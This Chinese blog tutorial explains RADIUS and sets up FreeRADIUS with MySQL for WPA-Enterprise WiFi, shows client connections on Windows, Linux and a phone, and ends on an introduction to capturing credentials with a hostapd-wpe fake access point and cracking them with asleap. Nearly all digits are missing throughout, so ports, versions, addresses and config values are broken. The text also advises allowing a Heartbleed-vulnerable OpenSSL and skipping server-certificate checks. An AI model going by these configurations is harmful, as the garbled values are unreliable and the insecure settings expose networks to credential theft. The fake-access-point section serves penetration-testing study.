当前位置:首页 » 网络安全知识 » 正文

无线网络安全之WPA+RADIUS加密模式浅析

1264 人参与  2021年12月14日 16:42  分类 : 网络安全知识  评论

微信公众号:计算机与网络安全

ID:Computer-network

RADIUS是一种C/S结构的协议。RADIUS协议认证机制灵活,可以采用PAP、CHAP或者Unix登录认证等多种方式。在企业的无线网络环境中,通常使用WPA+ RADIUS加密模式,它会使网络更安全。

一、RADIUS简介

RADIUS(Remote Authentication Dial In User Service,远端用户拨入验证服务)是一个AAA协议,即同时兼顾验证(Authentication)、授权(Authorization)及计费(Accounting)种服务的一种网络传输协议。

、什么是RADIUS协议

RADIUS是一种在网络接入服务器(Network Access Server)和共享认证服务器间传输认证授权和配置信息的协议。它采用客户端/服务器结构。路由器或NAS上运行的AAA程序对用户来讲是作为服务端,对RADIUS服务器来讲是作为客户端。RADIUS通过建立一个唯一的用户数据库存储用户名和密码来进行验证。存储传递给用户的服务类型以及相应的配置信息来完成授权。当用户上网时,路由器决定对用户采用何种验证方法。

RADIUS还支持代理和漫游功能。简单地说,代理就是一台服务器,可以作为其他RADIUS服务器的代理,负责转发RADIUS认证和计费数据包。所谓漫游功能,就是代理的一个具体实现,这样可以让用户通过本来和其无关的RADIUS服务器进行认证。

RADIUS主要特征如下所示。

QQ截图.jpg

● 客户/服务器模式。

● 网络安全

● 灵活认证机制。

● 协议的可扩充性。

、RADIUS的工作原理

ADIUS原先的目的是为拨号用户进行认证和计费。后来经过多次改进,形成了一项通用的认证计费协议。该协议主要完成在网络接入设备和认证服务器之间承载认证、授权、计费和配置信息。下面介绍RADIUS服务的工作原理,如图所示。

图  RADIUS服务工作原理

图简单地显示了RADIUS服务工作的模型,下面对该过程进行详细介绍。

()客户端接入NAS,NAS向RADIUS服务器使用Access-Require数据包提交用户信息,包括用户名和密码等相关信息。其中,用户密码是经过MD加密的,双方使用共享密钥,这个密钥不经过网络传播。

()RADIUS服务器对用户名和密码的合法性进行校验,必要时可以提出一个Challenge,要求进一步对用户认证,也可以对NAS进行类似的认证。

()如果合法,则给NAS返回Access-Accept数据包,允许用户进行下一步工作,否则返回Access-Reject数据包,拒绝用户访问。如果允许访问,NAS向RADIUS服务器提出计费请求Account-Require,RADIUS服务器响应Account-Accept。此时,将开始对用户计费,同时用户也可以进行自己的相关操作。

RADIUS服务器和NAS服务器通过UDP协议进行通信,RADIUS服务器的端口负责认证,端口负责计费工作。这里使用UDP协议,是因为NAS和RADIUS服务器大多在同一个局域网中,使用UDP协议更加快捷方便。

RADIUS协议还规定了重传机制。如果NAS向某个RADIUS服务器提交请求没有收到返回信息,那么可以要求备份RADIUS服务器重传。由于有多个备份RADIUS服务器,因此NAS进行重传的时候,可以采用轮询的方法。如果备份RADIUS服务器的密钥和以前RADIUS服务器的密钥不同,则需要重新进行认证。

二、搭建RADIUS服务

目前,通常使用FreeRadius开源软件来搭建Radius服务。Freeradius是一个模块化,高性能并且功能丰富的一套RADIUS程序。该程序包括服务器、客户端、开发库及一些额外的相关RADIUS工具。

、安装RADIUS服务

通常情况下,服务器都会安装到服务性(比较稳定)的操作系统中(如RHEL和Windows Server )。这里简单的模拟一个实验环境,下面介绍在Kali Linux上搭建RADIUS服务。

使用FreeRadius软件安装RADIUS服务。具体操作步骤如下所述。

()从官方网站http://freeradius.org/下载稳定版本的FreeRadius软件包,其软件包名为freeradius-server-...tar.gz。本例中,将下载好的文件保存到/root目录中。

()解压FreeRadius软件包。执行命令如下所示。

root@kali:~# tar zxvf freeradius-server-...tar.gz

执行以上命令后,将在/root目录中解压出一个名为freeradius-server-..的文件。

()配置FreeRadius软件包。执行命令如下所示。

root@kali:~# cd freeradius-server-../ #切换到解压出文件中

root@kali:~/freeradius-server-..# ./configure #配置软件

()编译FreeRadius软件包。执行命令如下所示。

root@kali:~/freeradius-server-..# make

()安装FreeRadius软件包。执行命令如下所示。

root@kali:~/freeradius-server-..# make install

成功执行以上命令后,FreeRadius软件包就安装成功了,也就是说RADIUS服务搭建完成。此时,用户也就可以启动该服务。

()为了更清楚地查看RADIUS服务启动过程加载的信息,这里以调试模式运行该服务。执行命令如下所示。

root@localhost:~/freeradius-server-..# radiusd -s -X

如果正常启动后,将显示如下信息:

radiusd: FreeRADIUS Version .., for host x_-unknown-linux-gnu, built on Dec at

::

Copyright (C) - The FreeRADIUS server project and contributors.

There is NO warranty; not even for MERCHANTABILITY or FITNESS FORA

PARTICULAR PURPOSE.

You may redistribute copies of FreeRADIUS under the terms of the

GNU General Public License.

For more information about these matters, see the file named COPYRIGHT.

Starting - reading configuration files ...

including configuration file /usr/local/etc/raddb/radiusd.conf

including configuration file /usr/local/etc/raddb/proxy.conf

including configuration file /usr/local/etc/raddb/clients.conf

including files in directory /usr/local/etc/raddb/modules/

including configuration file /usr/local/etc/raddb/modules/pap

including configuration file /usr/local/etc/raddb/modules/smbpasswd

including configuration file /usr/local/etc/raddb/modules/sqlcounter_expire_on_login

including configuration file /usr/local/etc/raddb/modules/detail.log

including configuration file /usr/local/etc/raddb/modules/radutmp

......

listen {

type = "acct"

ipaddr = *

port =

}

listen {

type = "control"

listen {

socket = "/usr/local/var/run/radiusd/radiusd.sock"

}

}

listen {

type = "auth"

ipaddr = ...

port =

}

... adding new socket proxy address * port

Listening on authentication address * port

Listening on accounting address * port

Listening on command file /usr/local/var/run/radiusd/radiusd.sock

Listening on authentication address ... port as server inner-tunnel

Listening on proxy address * port

Ready to process requests.

执行以上命令后,将输出大量的信息。由于篇幅的原因,中间部分内容使用省略号(......)取代。从最后显示的几行信息中可以看到,监听的认证地址端口为、审计地址端口为、代理地址端口为。最后一行信息表示准备处理请求。当有客户端连接时,将会看到服务器收到的请求及响应的信息。

以上是RADIUS服务正常启动后的输出信息。但是,由于某些原因可能导致服务启动失败。常见的问题有两个,第一,需要更新动态链接库;第二,需要设置允许使用Openssl的漏洞版本启动RADIUS服务。下面来看下如果不出现以上错误,将会提示怎样的信息,以及如何解决该问题。

()更新动态链接库问题

由于使用源码编译安装的RADIUS服务器文件将被创建在不同的位置,这时候系统将可能搜索不到一些库文件。所以,需要使用ldconfig命令更新动态链接库。否则可能提示无法找到共享库,其提示信息如下所示。

radiusd: error while loading shared libraries: libfreeradius-radius-.so: cannot open shared

object file: No such file or directory

从以上信息中可以看到加载共享库出错。需要更新动态库,使缓存重新加载。执行命令如下所示。

root@kali:~/freeradius-server-..# ldconfig

执行以上命令后,将不会再出现以上错误信息。

()Openssl漏洞问题

Kali Linux中,默认安装的Openssl版本是..e。由于在该版本中存在Heartbleed(心脏出血)漏洞,这时候将拒绝RADIUS服务启动。提示信息如下所示:

Refusing to start with libssl version OpenSSL ..e Feb (in range .. - ..f).

Security advisory CVE-- (Heartbleed)

For more information see http://heartbleed.com

此时,在RADIUS服务的主配置文件中设置允许即可。编辑配置文件radiusd.conf,并修改allow_vulnerable_openssl配置项的值。如下所示。

root@localhost:/usr/local/etc/raddb# vi radiusd.conf

allow_vulnerable_openssl=yes

这里将以上选项的值设置为yes,然后保存并退出radiusd.conf文件。此时,即可正常启动RADIUS服务。但是,如果要使用该服务,还需要进行详细的配置才可以。下面介绍如何配置RADIUS服务器

、配置文件介绍

由于安装完RADIUS服务器后,有很多个文件需要修改。在介绍配置RADIUS服务之前,首先介绍这些配置文件的安装位置及每个文件的作用。

使用二进制包和源码包安装后的文件的位置不同。其中,如果使用二进制包安装的话,CentOS和SLES系统的配置文件默认将保存在/etc/raddb中;Ubuntu系统将保存在/etc/freeradius中。如果是使用源码编译安装的话,默认将保存在/usr/local/etc/raddb目录中。在该目录中包括好多个配置文件,如下所示。

root@kali:/usr/local/etc/raddb# ls

acct_users  attrs.accounting_response  dictionary  hints   panic.gdb  proxy.conf   sql

users

attrs       attrs.pre-proxy  eap.conf    huntgroups policy.conf     radiusd.conf     sql.conf

attrs.access_challenge  certs  example.pl ldap.attrmap  policy.txt    sites-available

sqlippool.conf

attrs.access_reject  clients.conf experimental.conf  modules  preproxy_users  sites-enabled

templates.conf

从输出的信息中可以看到有很多个文件。下面介绍几个重要的配置文件,如下所述。

● radiusd.conf:主配置文件。

● users:用户账号配置文件。

● eap.conf:设置加密方式。

● client.conf:RADIUS客户端配置文件。

● sites-enable/default:认证、授权和计费配置文件。

● sites-enable/inner-tunnel:虚拟服务配置文件。

● sql.conf:与数据库连接的配置文件。

● sql:在该目录下有许多sql语句文件,用来创建radius数据库表的。

● certs/bootstrap:用于生成证书的可执行文件。

了解这些配置文件后,就可以对RADIUS进行简单的配置,然后测试该服务了。FreeRADIS默认配置了一个客户端localhost,用户可以使用该默认客户端来测试RADIUS服务。下面介绍一个简单的配置。

()默认配置的客户端配置文件是clients.conf,其配置信息如下所示。

root@kali:/usr/local/etc/raddb# vi clients.conf

client localhost {

ipaddr = ...

secret = testing

require_message_authenticator = no

nastype = other

}

()创建一个测试用户。在users文件中添加测试用户的相关信息。

root@kali:/usr/local/etc/raddb# vi users

"alice" Cleartext-Password := "passme"

Framed-IP-Address = ...,

Reply-Message = "Hello, %{User-Name}"

添加以上信息,然后保存并退出users文件。注意,以上内容中的第二行和第三行前面使用的是TAB键分割。

()启动RADIUS服务。为了可以看到启动该服务过程中输出的详细信息,下面以调试模式启动该服务。执行命令如下所示。

root@kali:~# radiusd -s -X

radiusd: FreeRADIUS Version .., for host x_-unknown-linux-gnu, built on Dec at

::

Copyright (C) - The FreeRADIUS server project and contributors.

There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A

PARTICULAR PURPOSE.

You may redistribute copies of FreeRADIUS under the terms of the

GNU General Public License.

For more information about these matters, see the file named COPYRIGHT.

Starting - reading configuration files ...

including configuration file /usr/local/etc/raddb/radiusd.conf

including configuration file /usr/local/etc/raddb/proxy.conf

including configuration file /usr/local/etc/raddb/clients.conf

including files in directory /usr/local/etc/raddb/modules/

including configuration file /usr/local/etc/raddb/modules/pap

including configuration file /usr/local/etc/raddb/modules/smbpasswd

including configuration file /usr/local/etc/raddb/modules/sqlcounter_expire_on_login

......

listen {

type = "auth"

ipaddr = ...

port =

}

... adding new socket proxy address * port

Listening on authentication address * port

Listening on accounting address * port

Listening on command file /usr/local/var/run/radiusd/radiusd.sock

Listening on authentication address ... port as server inner-tunnel

Listening on proxy address * port

Ready to process requests.

看到以上输出信息(Ready to process requests),表示RADIUS服务已成功启动。

()测试RADIUS服务器。这里可以使用radtest命令来测试,其语法格式如下所示。

radtest [选项] user passwd radius-server[:port] nas-port-number secret [ppphint] [nasname]

以上语法中常用参数含义如下所示。

● user:用于登录认证的用户。

● passwd:认证用户的密码

● radius-server:RADIUS服务器的IP地址。

● nas-port-number:NAS服务端口号。

● secret:RADIUS服务和AP的共享密钥。

● nasname:NAS名称。

下面使用前面创建的alice用户认证连接服务器,执行命令如下所示。

root@kali:~# radtest alice passme ... testing

Sending Access-Request of id to ... port

User-Name = "alice"

User-Password = "passme"

NAS-IP-Address = ...

NAS-Port =

Message-Authenticator = x

rad_recv: Access-Accept packet from host ... port , id=, length=

Framed-IP-Address = ...

Reply-Message = "Hello,alice"

从以上输出的信息中可以看到,RADIUS服务正确响应了alice用户的请求,这表示RADIUS服务可以工作正常。

如果使用虚拟机搭建RADIUS服务作为认证的话,建议使用桥接模式连接到网络。否则,将会导致客户端无法连接到无线网络

三、设置WPA+RADIUS加密

下面通过配置RADIUS服务,来实现WPA+RADIUS加密模式的WiFi网络

、配置RADIUS服务

通常配置RADIUS服务,需要配置radiusd.conf、eap.conf、clients.conf、sql.conf、default和inner-tunnel个文件。下面分别介绍如何修改这几个配置文件,并且介绍需要配置的参数的作用。

()修改配置文件radiusd.conf

依次修改以下内容。

)修改该文件的log部分,需要更改的配置项如下所示。

root@kali:/usr/local/etc/raddb# vi radiusd.conf

auth = yes

auth_badpass = yes

auth_goodpass = yes

以上选项的默认值是no。这里将它们修改为yes,表示要将认证信息记录到RADIUS服务的日志文件中。使用源码安装的RADIUS服务,日志文件默认保存在/usr/local/var/log/radius/目录中。当有日志信息产生时,将会在该目录中生成一个名为radius.log的文件。但是,如果以调试模式启动RADIUS服务的话,将不会记录日志信息。

)修改延长发送认证失败之前的暂停秒数。为防止爆破,设置为秒。默认是秒,修改后信息如下所示。

reject_delay =

)启用MySQL认证。所以,把$INCLUDE sql.conf前面的注释(#)取消掉,如下所示。

#  $INCLUDE sql.conf

修改后,如下所示。

$INCLUDE sql.conf

()修改eap.conf文件

依次修改以下内容。

)将eap部分的default_eap_type值修改为peap加密方式。如下所示。

default_eap_type = peap

)将peap部分的default_eap_type值修改为mschapv加密。如下所示。

default_eap_type = mschapv

()修改配置文件clients.conf

设置允许使用RADIUS服务的设备。在该配置文件中添加如下内容:

root@kali:/usr/local/etc/raddb# vi clients.conf

client ... { #客户端的IP地址,这里指定了AP的地址

secret = testing #AP与RADIUS服务连接的共享密码

shortname = Test #客户端代号,可以随便填写。这里输入了AP

的SSID名称

nastype = other #NAS的类型

}

以上添加了一个AP客户端的信息。用户也可以指定某一个客户端,或者一个大范围网段的主机。如允许...网段的主机,可以使用client .../进行设置。具体配置如下所示。

client .../ {

secret = testing

shortname = TestAP

nastype = other

}

()修改sql.conf文件

该文件中保存了数据库与RADIUS服务进行连接的信息。具体配置项如下所示。

sql {

database = "mysql" #使用MySQL数据库存储用户

driver = "rlm_sql_${database}" #使用的RADIUS服务驱动

server = "localhost" #MySQL数据库服务的地址

login = "radius" #登录数据库用户名(可以指定root用户)

password = "radpass" #数据库radius的登录密码

radius_db = "radius" #数据库

}

该文件可以使用默认设置与RADIUS服务建立连接。如果用户想更好地理解该文件中的配置,也可以设置各选项。本例中,使用默认配置。

()修改site-enable/default文件

启用SQL模块。将该文件中的authorize部分中sql行前面的注释(#)去掉,在files前面添加注释(#)。修改后如下所示。

authorize {

......

#  Read the &#;users&#; file

#       files

#

#  Look in an SQL database.  The schema of the database

#  is meant to mirror the "users" file.

#

#  See "Authorization Queries" in sql.conf

sql

......

}

()配置虚拟服务器文件sites-enabled/inner-tunnel

将该文件中的authorize部分中sql行前面的注释(#)去掉,在files前面添加注释(#)。修改后如下所示。

authorize {

......

#  Read the &#;users&#; file

#       files

#

#  Look in an SQL database.  The schema of the database

#  is meant to mirror the "users" file.

#

#  See "Authorization Queries" in sql.conf

sql

......

}

通过以上方法,RADIUS服务就配置好了。以上配置,选择使用MySQL数据库来存储用户信息。

、配置MySQL数据库服务

FreeRADIUS中提供了数据库需要的文件,这些文件默认保存在安装目录的子目录sql下面。在Kali Linux系统中,默认已经安装了MySQL数据库。所以,下面介绍MySQL的配置。具体操作步骤如下所述。

()创建数据库radius。本例中,为MySQL数据库默认的root用户设置了密码,其密码为。所以,在使用root用户进行操作时,需要使用-p选项来输入密码。创建radius数据库,执行命令如下所示。

root@kali:~# mysqladmin -u root -p create radius

Enter password: #输入root用户的密码

执行以上命令后,如果没有显示错误信息,则表示成功创建了radius数据库

()为radius数据库创建一个管理用户。这里以FreeRADIUS软件提供的admin.sql文件作为模板,来创建管理用户。导入admin.sql数据库,执行命令如下所示。

root@kali:~# mysql -u root -p < /usr/local/etc/raddb/sql/mysql/admin.sql

()创建数据库架构,使用FreeRADIUS软件提供的schema.sql文件为模板。导入schema.sql数据库,执行命令如下所示。

root@kali:~# mysql -u root -p radius < /usr/local/etc/raddb/sql/mysql/schema.sql

()为radius数据库创建一个测试用户。下面创建一个名为bob的用户,如下所示。

root@kali:~# mysql -u root -p radius #登录radius数据库

Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or g.

Your MySQL connection id is

Server version: ..-+wheezy (Debian)

Copyright (c) , , Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its

affiliates. Other names may be trademarks of their respective

owners.

Type &#;help;&#; or &#;h&#; for help. Type &#;c&#; to clear the current input statement.

mysql> INSERT INTO radcheck (username,attribute,op,value) VALUES (&#;bob&#;,&#;Cleartext-Password&#;,&#;:=&#;,&#;passbob&#;);

Query OK, row affected (. sec)

mysql> INSERT INTO radreply (username,attribute,op,value) VALUES (&#;bob&#;,&#;Reply-Message&#;,&#;

=&#;,&#;Hello Bob!&#;);

Query OK, row affected (. sec)

mysql> exit

Bye

root@kali:~#

通过以上方法MySQL数据库服务就配置完了。接下来就可以启动RADIUS服务,以确定能正常与MySQL服务建立连接。为了可以看到更详细的信息,下面以调试模式启动RADIUS服务,执行命令如下所示。

root@kali:~# radiusd -s -X

启动RADIUS服务的调试模式后,将会看到有大量的rlm_sql信息。这表明SQL模块被加载。如果SQL模块被正确加载后,RADIUS服务将成功启动。如果SQL模块不能被正确加载,将出现如下错误信息:

Could not link driver rlm_sql_mysql: rlm_sql_mysql.so: cannot open shared object file: No such file

or directory

Make sure it (and all its dependent libraries!) are in the search path of your system&#;s ld.

/usr/local/etc/raddb/sql.conf[]: Instantiation failed for module "sql"

/usr/local/etc/raddb/sites-enabled/default[]: Failed to find "sql" in the "modules" section.

/usr/local/etc/raddb/sites-enabled/default[]: Errors parsing authorize section.

出现以上错误信息是因为找不到驱动包的错误。具体解决方法如下所示。

()安装libmysqlclient-dev文件。

()重新编译SQL模块。如下所示。

root@kali:~# cd freeradius-server-../src/modules/rlm_sql/drivers/rlm_sql_mysql/

#切换到SQL模块位置

root@kali:~/freeradius-server-../src/modules/rlm_sql/drivers/rlm_sql_mysql# ./configure

--with-mysql-dir=/var/lib/mysql --with-lib-dir=/usr/lib/mysql #配置MySQL库文件

root@kali:~/freeradius-server-../src/modules/rlm_sql/drivers/rlm_sql_mysql# make #编译

root@kali:~/freeradius-server-../src/modules/rlm_sql/drivers/rlm_sql_mysql# make install #安装

如果执行以上命令没有报错的话,就表示成功安装了需要的驱动包。此时,即可正常启动RADIUS服务。

()再次重新启动RADIUS服务,成功启动后将显示如下所示的信息:

root@localhost:~# radiusd -s -X

radiusd: FreeRADIUS Version .., for host x_-unknown-linux-gnu, built on Dec at

::

Copyright (C) - The FreeRADIUS server project and contributors.

There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A

PARTICULAR PURPOSE.

You may redistribute copies of FreeRADIUS under the terms of the

GNU General Public License.

For more information about these matters, see the file named COPYRIGHT.

Starting - reading configuration files ...

including configuration file /usr/local/etc/raddb/radiusd.conf

including configuration file /usr/local/etc/raddb/proxy.conf

including configuration file /usr/local/etc/raddb/clients.conf

.....

rlm_sql (sql): Connected new DB handle, #

rlm_sql (sql): starting

rlm_sql (sql): Attempting to connect rlm_sql_mysql #

rlm_sql_mysql: Starting connect to MySQL server for #

rlm_sql (sql): Connected new DB handle, #

rlm_sql (sql): starting

rlm_sql (sql): Attempting to connect rlm_sql_mysql #

rlm_sql_mysql: Starting connect to MySQL server for #

rlm_sql (sql): Connected new DB handle, #

Module: Checking preacct {...} for more modules to load

Module: Linked to module rlm_acct_unique

Module: Instantiating module "acct_unique" from file /usr/local/etc/raddb/modules/acct_unique

acct_unique {

key = "User-Name, Acct-Session-Id, NAS-IP-Address, NAS-Identifier, NAS-Port"

}

Module: Linked to module rlm_files

Module: Instantiating module "files" from file /usr/local/etc/raddb/modules/files

files {

usersfile = "/usr/local/etc/raddb/users"

acctusersfile = "/usr/local/etc/raddb/acct_users"

preproxy_usersfile = "/usr/local/etc/raddb/preproxy_users"

compat = "no"

}

......

listen {

type = "auth"

ipaddr = ...

port =

}

... adding new socket proxy address * port

Listening on authentication address * port

Listening on accounting address * port

Listening on command file /usr/local/var/run/radiusd/radiusd.sock

Listening on authentication address ... port as server inner-tunnel

Listening on proxy address * port

Ready to process requests.

从以上输出信息中可以看到加载的rlm_sql模块。如果看到Ready to process requests,则表示该服务成功启动。

()测试使用MySQL数据库存储用户的RADIUS服务器。下面使用前面创建的bob用户登录认证RADIUS服务器,执行命令如下所示。

root@kali:/usr/local/etc/raddb# radtest bob passbob ... testing

Sending Access-Request of id to ... port

User-Name = "bob"

User-Password = "passbob"

NAS-IP-Address = ...

NAS-Port =

Message-Authenticator = x

rad_recv: Access-Accept packet from host ... port , id=, length=

Reply-Message = "Hello Bob!"

从以上输出的信息中可以看到,bob用户成功通过了RADIUS服务器的认证,并收到响应信息"Hello Bob!"。此时,返回到RADIUS服务的调试模式,将看到如下所示信息:

rad_recv: Access-Request packet from host ... port , id=, length=

User-Name = "bob"

User-Password = "passbob"

NAS-IP-Address = ...

NAS-Port =

Message-Authenticator = xaefaefafcaa

# Executing section authorize from file /usr/local/etc/raddb/sites-enabled/default

+group authorize {

++[preprocess] = ok

++[chap] = noop

++[mschap] = noop

++[digest] = noop

[suffix] No &#;@&#; in User-Name = "bob", looking up realm NULL

[suffix] No such realm "NULL"

++[suffix] = noop

[eap] No EAP-Message, not doing EAP

++[eap] = noop

[sql]   expand: %{User-Name} -> bob

[sql] sql_set_user escaped user --> &#;bob&#;

rlm_sql (sql): Reserving sql socket id:

......

++[sql] = ok

++[expiration] = noop

++[logintime] = noop

++[pap] = updated

+} # group authorize = updated

Found Auth-Type = PAP

# Executing group from file /usr/local/etc/raddb/sites-enabled/default

+group PAP {

[pap] login attempt with password "passbob"

[pap] Using clear text password "passbob"

[pap] User authenticated successfully

++[pap] = ok

+} # group PAP = ok

Login OK: [bob/passbob] (from client localhost port )

# Executing section post-auth from file /usr/local/etc/raddb/sites-enabled/default

+group post-auth {

++[exec] = noop

+} # group post-auth = noop

Sending Access-Accept of id to ... port

Reply-Message = "Hello Bob!"

Finished request .

Going to the next request

Waking up in . seconds.

Cleaning up request ID with timestamp +

Ready to process requests.

从以上输出的信息中可以看到,显示了bob用户与RADIUS服务连接的详细过程。

、配置WiFi网络

前面将RADIUS服务和MySQL数据库都已经配置好了,接下来在路由器中将加密模式设置为WAP+RADIUS模式。下面以TP-LINK路由器为例,介绍配置WPA+RADIUS模式的方法。

设置路由器的加密模式为WPA+RADIUS。具体操作步骤如下所述。

()登录路由器。本例中路由器的地址是...,登录用户名和密码都为admin。

()在路由器的左侧栏中依次选择“无线设置”|“无线安全设置”命令,将显示如图所示的界面。

图  无线网络安全设置

()在该界面选择WPA/WPA加密方法,然后设置认证类型、加密算法、Radius服务器的IP及密码等。该加密方法,默认支持的认证类型包括WPA和WPA,加密算法默认支持TKIP和AES。在本例中,将这两项设置为“自动”。Radius服务器的IP就是在前面搭建RADIUS服务的主机的IP地址,Radius密码就是在clients.conf文件中设置的共享密钥,默认是testing。将这几个选项配置完成后,显示界面如图所示。

图  设置好的加密模式

()以上就是本例中WPA+RADIUS加密模式的配置方法。设置完成后,单击“保存”按钮,并重新启动路由器

四、连接RADIUS加密的WiFi网络

WPA+RADIUS加密的WiFi网络已经配置好了。接下来,就可以使用客户端进行连接。但是,要连接WPA+RADIUS加密的WiFi网络,还需要对客户端进行简单的设置。下面介绍在不同的客户端连接WPA+RADIUS加密的WiFi网络的方法。

、在Windows下连接RADIUS加密的WiFi网络

下面介绍如何在Windows 中,连接到WPA+RADIUS加密的WiFi网络。具体操作步骤如下所述。

()在桌面上选择“网络”图标,并单击右键选择“属性”命令,将打开如图所示的界面。

图  网络和共享中心

()在该界面单击“管理无线网络”选项,将打开如图所示的界面。

图  管理无线网络

()从该界面可以看到,当前没有创建任何无线网络。此时,单击“添加”按钮,将弹出如图所示的界面。

图  选择添加网络的方法

()在该界面选择添加网络的方法,这里选择“手动创建网络配置文件”选项,将显示如图所示的界面。

图  输入您要添加的无线网络的信息

()在该界面输入要添加的无线网络的信息,如网络名、安全类型,以及加密类型等。本例中的网络名为Test、安全类型为WPA-企业、加密类型为AES,如图所示。然后单击“下一步”按钮,将显示如图所示的界面。

图  成功添加Test无线网络

()从该界面可以看到,已经成功添加了Test无线网络。但是,要想成功连接到该网络还需要一些其他设置。所以,这里选择“更改连接设置”选项,将显示如图所示的界面。

图  设置无线网络

()该界面就是Test无线网络的属性界面,此时就可以对该无线网络进行设置。这里选择“安全”选项卡,将显示如图所示的界面。

图  安全设置

()在该界面单击“选择网络身份验证方法”后面的“设置”按钮,将显示如图所示的界面。

图  验证服务器证书

()由于本例中使用的加密方式没有创建证书,所以这里将“验证服务器证书”前面的复选框取消。然后单击“选择身份验证方法”选项下面的“配置”按钮,将打开如图所示的界面。

图  EAP MSCHAPv属性

()在该界面将“自动使用Windows登录名和密码(以及域,如果有的话)(A)”前面的复选框取消,然后单击“确定”按钮,将返回图所示的界面。此时,在该界面单击“确定”按钮,将返回如图所示的界面。在该界面单击“高级设置”按钮,将显示如图所示的界面。

图  高级设置

()在该界面选择“指定身份验证模式”复选框,并选择“用户或计算机身份验证”方式。然后单击“确定”按钮,再次返回图所示的界面。在该界面单击“确定”按钮,将返回图所示的界面。

()在该界面单击“关闭”按钮,将看到如图所示的界面。

图  创建的无线网络

()从该界面可以看到,已成功创建了名为Test的无线网络。此时,就可以连接该网络了。在连接该网络之前,首先要确定RADIUS服务已成功启动。

()返回Windows 的桌面,单击右下角的图标,即可看到搜索到的所有无线网络,如图所示。

图  搜索到的无线网络

()在该界面选择要连接的无线网络Test,将打开如图所示的界面。

图  输入认证的用户和密码

()在该界面输入可以连接到WiFi网络的用户名和密码,本例中的用户名和密码分别是bob和passbob。输入用户名和密码后单击“确定”按钮,即可连接到Test无线网络。当该客户端成功连接到Test网络后,RADIUS服务器的调试模式将会显示以下信息:

rad_recv: Access-Request packet from host ... port , id=, length=

User-Name = "bob"

NAS-IP-Address = ...

NAS-Port =

Called-Station-Id = "-F-A-CE-EE-A:Test"

Calling-Station-Id = "C--E-A--"

Framed-MTU =

NAS-Port-Type = Wireless-.

Connect-Info = "CONNECT Mbps ."

EAP-Message = xf

Message-Authenticator = xdfdecefecdce

# Executing section authorize from file /usr/local/etc/raddb/sites-enabled/default

+group authorize {

++[preprocess] = ok

++[chap] = noop

++[mschap] = noop

++[digest] = noop

[suffix] No &#;@&#; in User-Name = "bob", looking up realm NULL

[suffix] No such realm "NULL"

++[suffix] = noop

[eap] EAP packet type response id length

[eap] No EAP Start, assuming it&#;s an on-going EAP conversation

++[eap] = updated

[sql]   expand: %{User-Name} -> bob

[sql] sql_set_user escaped user --> &#;bob&#;

rlm_sql (sql): Reserving sql socket id:

......

++[eap] = ok

+} # group authenticate = ok

Login OK: [bob/<via Auth-Type = EAP>] (from client Test port cli -F-A-CE-EE-A)

# Executing section post-auth from file /usr/local/etc/raddb/sites-enabled/default

+group post-auth {

++[exec] = noop

+} # group post-auth = noop

Sending Access-Accept of id to ... port

MS-MPPE-Recv-Key = xfefabadbfefbafddefbdd

ec

MS-MPPE-Send-Key = xadfafeedfcaaafeec

dccefd

EAP-Message = x

Message-Authenticator = x

User-Name = "bob"

Finished request .

Going to the next request

Waking up in . seconds.

Cleaning up request ID with timestamp +

Cleaning up request ID with timestamp +

Cleaning up request ID with timestamp +

Cleaning up request ID with timestamp +

Cleaning up request ID with timestamp +

Cleaning up request ID with timestamp +

Cleaning up request ID with timestamp +

Cleaning up request ID with timestamp +

Cleaning up request ID with timestamp +

Cleaning up request ID with timestamp +

Ready to process requests.

以上输出的信息是客户端连接服务器的详细信息,如客户端的Mac地址、使用的认证用户及密钥等。

、在Linux下连接RADIUS加密的WiFi网络

下面介绍在Linux下(以Kali Linux为例),如何连接到WPA+RADIUS加密的WiFi网络中。具体操作步骤如下所述。

()在Kali Linux系统的桌面单击右上角的图标,将看到当前无线网卡搜索到的所有的无线网络,如图所示。

图  搜索到的无线网络

()在该界面选择要连接的无线网络,这里选择Test,将打开如图所示的界面。

图  输入认证信息

()在该界面设置用于网络认证的信息。如选择认证方式EAP、输入认证的用户和密码。设置完成后,显示界面如图所示。

图  认证信息

()填写以上认证信息后,单击“连接”按钮,将打开如图所示的界面。

图  选择证书文件

()由于在该实验环境中没有创建CA证书,所以这里单击“忽略”按钮。如果不想每次都弹出该窗口的话,勾选“以后不再警告”复选框,然后单击“忽略”按钮,将开始连接Test无线网络。连接成功后,网络图标将显示为形式。

、移动客户端连接RADIUS加密的WiFi网络

通常情况下,用户会使用一些移动设备来连接WiFi网络。下面介绍如何在移动客户端下连接RADIUS加密的WiFi网络。这里以小米手机客户端为例,介绍连接WiFi网络的方法。具体操作步骤如下所述。

()在手机上打开设置界面,然后选择WLAN选项开启WLAN功能。当成功启动WLAN功能后,将显示如图所示的界面。

图  搜索到的无线网络

()在该界面可以看到,当前客户端已经成功连接到SSID为yzty的无线网络,并且可以看到搜索到的其他无线网络。在该界面可以看到Test无线网络的加密方式是通过.x进行保护。这说明,该无线网络的加密方式使用了RADIUS服务。这里选择Test网络,将打开如图所示的界面。

图  设置Test无线网络

()在该界面配置Test网络,如加密方法、身份验证方法,身份及用户密码等。该界面的所有配置信息是可以滑动的,所以,图中只显示了部分信息。设置完加密方法和身份验证后,向下滑动,将看到如图所示的界面。

图  身份验证信息

()在该界面的“身份”对应的文本框中输入登录的用户名,在“密码”文本框中输入登录用户的密码,如图所示。在该界面设置的信息和在Linux客户端连接该网络的配置类似。设置完后单击“连接”按钮,如果配置正确,则可成功连接到Test网络。

五、破解RADIUS加密的WiFi网络

Linux下提供了一个hostapd工具,可以实现WiFi的无线接入热点(AP)功能。它是一个带加密功能的无线接入点程序,支持IEEE .协议和IEEE .X/WPA/WPA/EAP/RADIUS加密。有开发者根据该软件,开发了一个名为hostapd-wpe的补丁。

使用该补丁后,就可以创建支持MSCHAPv加密的伪AP。这样,渗透测试人员将会获取到无线网络的用户名和密码。当渗透测试人员获取到用户名和密码后,可以使用asleap工具将密码破解出来。下面介绍如何使用这种方法来破解RADIUS加密的WiFi网络

、使用hostapd-wpe创建伪AP

下面同样以Kali Linux操作系统为例,介绍使用hostapd-wpe创建伪AP,并实现WiFi网络的破解的方法。

破解RADIUS加密的WiFi网络。具体操作步骤如下所述。

()由于安装hostapd软件依赖libnl库,这里首先安装相关的库文件。执行命令如下所示。

